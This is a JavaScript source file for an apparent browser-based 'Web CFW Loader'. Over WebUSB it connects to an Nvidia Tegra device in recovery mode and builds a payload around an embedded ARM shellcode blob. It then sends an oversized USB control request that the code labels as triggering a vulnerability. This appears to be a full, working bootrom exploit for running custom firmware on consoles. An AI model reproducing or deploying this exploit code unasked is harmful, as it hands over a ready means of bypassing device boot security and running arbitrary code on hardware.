main.js

function logOutput(...message) {
  document.getElementById("output").innerHTML =
    document.getElementById("output").innerHTML + message.join(" ") + "<br>";
}

function clearLog() {
  document.getElementById("output").innerHTML = "";
}

async function getPayloadList() {
  return fetch("payloads/payloads.json")
    .then((response) => {
      if (!response.ok) throw new Error(response.status);
      return response.json();
    })
    .then((data) => {
      return data.payloads;
    });
}

(async () => {
  const payloadSelect = document.getElementById("payloadSelect");
  let payloadList;
  try {
    payloadList = await getPayloadList();
  } catch (error) {
    logOutput(
      "There was a problem retreiving the payload list. Error: " + error,
    );
    return;
  }
  payloadList.forEach((payload) => {
    const payloadOption = document.createElement("option");

    payloadOption.value = payload.path;
    payloadOption.innerHTML = payload.name + " " + payload.version;

    payloadSelect.appendChild(payloadOption);
  });
})();

async function getPayload(payloadSrc) {
  return fetch(payloadSrc).then((response) => {
    if (!response.ok) throw new Error(response.status);
    return response.arrayBuffer();
  });
}

const intermezzo = new Uint8Array([
  0x44, 0x00, 0x9f, 0xe5, 0x01, 0x11, 0xa0, 0xe3, 0x40, 0x20, 0x9f, 0xe5, 0x00,
  0x20, 0x42, 0xe0, 0x08, 0x00, 0x00, 0xeb, 0x01, 0x01, 0xa0, 0xe3, 0x10, 0xff,
  0x2f, 0xe1, 0x00, 0x00, 0xa0, 0xe1, 0x2c, 0x00, 0x9f, 0xe5, 0x2c, 0x10, 0x9f,
  0xe5, 0x02, 0x28, 0xa0, 0xe3, 0x01, 0x00, 0x00, 0xeb, 0x20, 0x00, 0x9f, 0xe5,
  0x10, 0xff, 0x2f, 0xe1, 0x04, 0x30, 0x90, 0xe4, 0x04, 0x30, 0x81, 0xe4, 0x04,
  0x20, 0x52, 0xe2, 0xfb, 0xff, 0xff, 0x1a, 0x1e, 0xff, 0x2f, 0xe1, 0x20, 0xf0,
  0x01, 0x40, 0x5c, 0xf0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01,
  0x40,
]);

const RCM_PAYLOAD_ADDRESS = 0x40010000;
const INTERMEZZO_LOCATION = 0x4001f000;
const PAYLOAD_LOAD_BLOCK = 0x40020000;

function createRCMPayload(intermezzo, payload) {
  const rcmLength = 0x30298;

  const intermezzoAddressRepeatCount =
    (INTERMEZZO_LOCATION - RCM_PAYLOAD_ADDRESS) / 4;

  const rcmPayloadSize =
    Math.ceil(
      (0x2a8 +
        0x4 * intermezzoAddressRepeatCount +
        0x1000 +
        payload.byteLength) /
        0x1000,
    ) * 0x1000;

  const rcmPayload = new Uint8Array(new ArrayBuffer(rcmPayloadSize));
  const rcmPayloadView = new DataView(rcmPayload.buffer);

  rcmPayloadView.setUint32(0x0, rcmLength, true);

  for (let i = 0; i < intermezzoAddressRepeatCount; i++) {
    rcmPayloadView.setUint32(0x2a8 + i * 4, INTERMEZZO_LOCATION, true);
  }

  rcmPayload.set(intermezzo, 0x2a8 + 0x4 * intermezzoAddressRepeatCount);
  rcmPayload.set(payload, 0x2a8 + 0x4 * intermezzoAddressRepeatCount + 0x1000);

  return rcmPayload;
}

function bufferToHex(data) {
  let result = "";
  for (let i = 0; i < data.byteLength; i++)
    result += data.getUint8(i).toString(16).padStart(2, "0");
  return result;
}

async function write(device, data) {
  let length = data.length;
  let writeCount = 0;
  const packetSize = 0x1000;

  while (length) {
    const dataToTransmit = Math.min(length, packetSize);
    length -= dataToTransmit;

    const chunk = data.slice(0, dataToTransmit);
    data = data.slice(dataToTransmit);
    await device.transferOut(1, chunk);
    writeCount++;
  }

  return writeCount;
}

function readFileAsArrayBuffer(file) {
  return new Promise((res, rej) => {
    const reader = new FileReader();
    reader.onload = (e) => {
      res(e.target.result);
    };
    reader.readAsArrayBuffer(file);
  });
}

let device;

async function launchPayload(payload) {
  await device.open();
  logOutput(`Connected to ${device.manufacturerName} ${device.productName}`);

  if (device.configuration === null) {
    await device.selectConfiguration(1);
  }

  await device.claimInterface(0);

  const deviceID = await device.transferIn(1, 16);
  logOutput(`Device ID: ${bufferToHex(deviceID.data)}`);

  const rcmPayload = createRCMPayload(intermezzo, payload);
  logOutput("Sending payload...");
  const writeCount = await write(device, rcmPayload);
  logOutput("Payload sent!");

  if (writeCount % 2 !== 1) {
    logOutput("Switching to higher buffer...");
    await device.transferOut(1, new ArrayBuffer(0x1000));
  }

  logOutput("Trigging vulnerability...");
  const vulnerabilityLength = 0x7000;
  const smash = await device.controlTransferIn(
    {
      requestType: "standard",
      recipient: "interface",
      request: 0x00,
      value: 0x00,
      index: 0x00,
    },
    vulnerabilityLength,
  );
}

document.getElementById("goButton").addEventListener("click", async () => {
  clearLog();
  var debugCheckbox = document.getElementById("shouldDebug");
  const payloadPath = document.getElementById("payloadSelect").value;

  if (!debugCheckbox.checked) {
    if (!navigator.usb) {
      logOutput(
        "Your browser doesn't support Web USB, Web CFW Loader will not work!",
      );
      return;
    }

    logOutput("Requesting access to device...");
    try {
      device = await navigator.usb.requestDevice({
        filters: [{ vendorId: 0x0955 }],
      });
    } catch (error) {
      console.log(error);
      logOutput("Failed to get a device. Did you chose one?");
      return;
    }
  }

  let payload;
  if (payloadPath === "uploaded") {
    const file = document.getElementById("payloadUpload").files[0];
    if (!file) {
      alert("You need to upload a file, to use an uploaded file.");
      return;
    }
    logOutput('Using uploaded payload "' + file.name + '"');
    payload = new Uint8Array(await readFileAsArrayBuffer(file));
  } else {
    try {
      payload = new Uint8Array(await getPayload(payloadPath));
    } catch (error) {
      logOutput("There was a problem retreiving the payload. Error: " + error);
      return;
    }
  }

  if (debugCheckbox.checked) {
    logOutput("Logging payload bytes...");

    var payloadToLog = "";
    for (var i = 0; i < payload.length; i++) {
      payloadToLog += "0x" + payload[i].toString(16) + ", ".toUpperCase();
    }
    payloadToLog = payloadToLog;
    logOutput(payloadToLog);
    return;
  }

  logOutput(
    `<span style='color:blue'>Preparing to launch ${payloadPath}...</span>`,
  );
  launchPayload(payload);
});

function onSelectChange() {
  if (document.getElementById("payloadSelect").value === "uploaded")
    document.getElementById("uploadContainer").style.display = "block";
  else document.getElementById("uploadContainer").style.display = "none";
}

function openInfo() {
  if (document.getElementById("infodiv").innerHTML != "") {
    document.getElementById("infodiv").innerHTML = "";
  }
}

function openInstructions() {
  if (document.getElementById("infodiv").innerHTML != "") {
    document.getElementById("infodiv").innerHTML = "";
  }
}